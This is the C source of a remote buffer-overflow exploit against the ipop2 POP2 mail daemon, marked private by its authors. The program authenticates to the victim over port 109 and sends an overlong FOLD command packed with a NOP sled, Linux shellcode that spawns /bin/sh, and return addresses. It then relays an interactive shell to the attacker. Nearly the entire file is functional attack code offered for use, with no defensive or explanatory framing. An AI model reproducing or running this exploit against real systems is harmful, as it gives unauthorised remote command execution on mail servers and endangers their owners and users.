/*
 * ipop2 remote exploit. *private* please do not distribute.
 * credit goes out to plaguez for the use of his shellcode.
 * greets: smiler, bind, fuck you SDI !
 * i had luck with offsets 0, 500, and 700
 * - xdr
 *     I fixed the alignment thing - its dependant on the hostname AND the
 *     username. Everything works fine now, for me at least. I only tried
 *     it on 2 imap accounts tho. - Smiler
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define	NOP	0x90
#define ADDR	0xbffff32c
#define POP2	109

unsigned char shellcode[] =
	"\xeb\x38\x5e\x89\xf3\x89\xd8\x80\x46\x01\x20\x80\x46\x02"
	"\x20\x80\x46\x03\x20\x80\x46\x05\x20\x80\x46\x06\x20\x89"
	"\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa"
	"\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40"
	"\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x42\x49\x4e\x2f\x53\x48";

int RunShell(int fd);

void 
usage(char *data)
{
	fprintf(stderr, "ipop2 remote exploit - xdr\n\n"
	                "\tvictim    - victim of attack.\n"
	                "\tauth_host - host of imap under your control.\n"
	                "\tuser      - username on auth_host.\n"
	                "\tpassword  - password on auth_host.\n"
	                "\tdelay     - time to wait for authentication.\n"
	                "\toffset    - default is zero.\n\n"
      "usage: %s <victim> <auth_host> <username> <password> <delay> [offset]\n",
	       		data);
	exit(-1);
}

int connect_ipop2(char *);
void authenticate_ipop2(int, char *, char *, char *, char *);
void send_overflow(int, int, char *,char *);

int 
main(int argc, char **argv)
{
char buf[1024];
int offset = 0;
int sockfd;
	if(argc <  6) usage(argv[0]);
	if(argc == 7) offset = atoi(argv[6]);

	if((sockfd = connect_ipop2(argv[1])) == -1) {
		fprintf(stderr, "connection failed.\n");
		exit(-1);
	}
	authenticate_ipop2(sockfd, argv[2], argv[3], argv[4], argv[5]);
	send_overflow(sockfd, offset, argv[2],argv[3]);

	RunShell(sockfd);
	close(sockfd);
	exit(-1);
}

int RunShell(int fd)
{
	int n;
	unsigned char buf[1024];
	fd_set rset;

	while(1) {
		FD_ZERO(&rset);
		FD_SET(fd,&rset);
		FD_SET(STDIN_FILENO,&rset);
		select(fd+1,&rset,NULL,NULL,NULL);
		if (FD_ISSET(fd,&rset)) {
			n = recv(fd, buf, 1024, 0);
			if (n <= 0) {
				fprintf(stderr,"Connection closed\n");
				return -1;
			}
			write(STDOUT_FILENO, buf, n);
		}
		if (FD_ISSET(STDIN_FILENO,&rset)) {
			n = read(STDIN_FILENO, buf, 1024);
			if (n <= 0) {
				return -1;
			}
			send(fd, buf, n, 0);
		}
	}
	return(1);
}

int 
connect_ipop2(char *remote_host)
{
struct sockaddr_in saddr;
struct hostent *lookup;
int sockfd;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		return -1;
	}

	if((lookup = gethostbyname(remote_host)) == NULL) {
		perror("gethostbyname");
		return -1;
	}

	bzero(&saddr, sizeof(struct sockaddr_in));
	saddr.sin_family	= AF_INET;
	saddr.sin_port		= htons(POP2);
	saddr.sin_addr		= *((struct in_addr *)lookup->h_addr);

	printf("connecting to %s on port %d...", remote_host, POP2);
	fflush(stdout);
	if(connect(sockfd, (struct sockaddr *)&saddr,
	           sizeof(struct sockaddr_in)) == -1) {
		perror("connect");
		return -1;
	}

	printf("connected.\n"); fflush(stdout);
	return sockfd;
}
void
authenticate_ipop2(int sockfd, char *phost, char *user, char *pass, char *delay)
{
char buf[1024];
int i;

	printf("Authenticating with the POP2 server. Giving it %s seconds to breathe.\n", delay);
	fflush(stdout);
	sleep(3);
	snprintf(buf, 1024, "HELO %s:%s %s\r\n", phost, user, pass);
	if(send(sockfd, buf, strlen(buf), 0) == -1)
		perror("send"), exit(-1);

	sleep(atoi(delay));
	puts("");
}

void
send_overflow(int sockfd, int offset, char *shit,char *shit2)
{
char buf[1019];
int i, adjust;
char *ptr;
	
	if ((ptr = strchr(shit,' '))) *ptr = 0;
	if ((ptr = strchr(shit,'\r'))) *ptr = 0;
	if ((ptr = strchr(shit,'\n'))) *ptr = 0;
	printf("%s\n",shit);
	adjust = strlen(shit) + 1 - strlen(shit2);
	memset(buf, NOP, 1019);
        memcpy(buf, "FOLD ", strlen("FOLD "));
//	if(strlen(shit) % 2) adjust--;
	for(i = 865+adjust;i < 1019-4;i += 4)
		*(long *)&buf[i] = ADDR + offset;
	memcpy(buf+791, shellcode, strlen(shellcode));

	buf[1016] = '\r';
	buf[1017] = '\n';
	buf[1018] = '\0';

	if(send(sockfd, buf, strlen(buf), 0) == -1)
		perror("socket"), exit(-1);

	printf("Have fun :>\n");
}
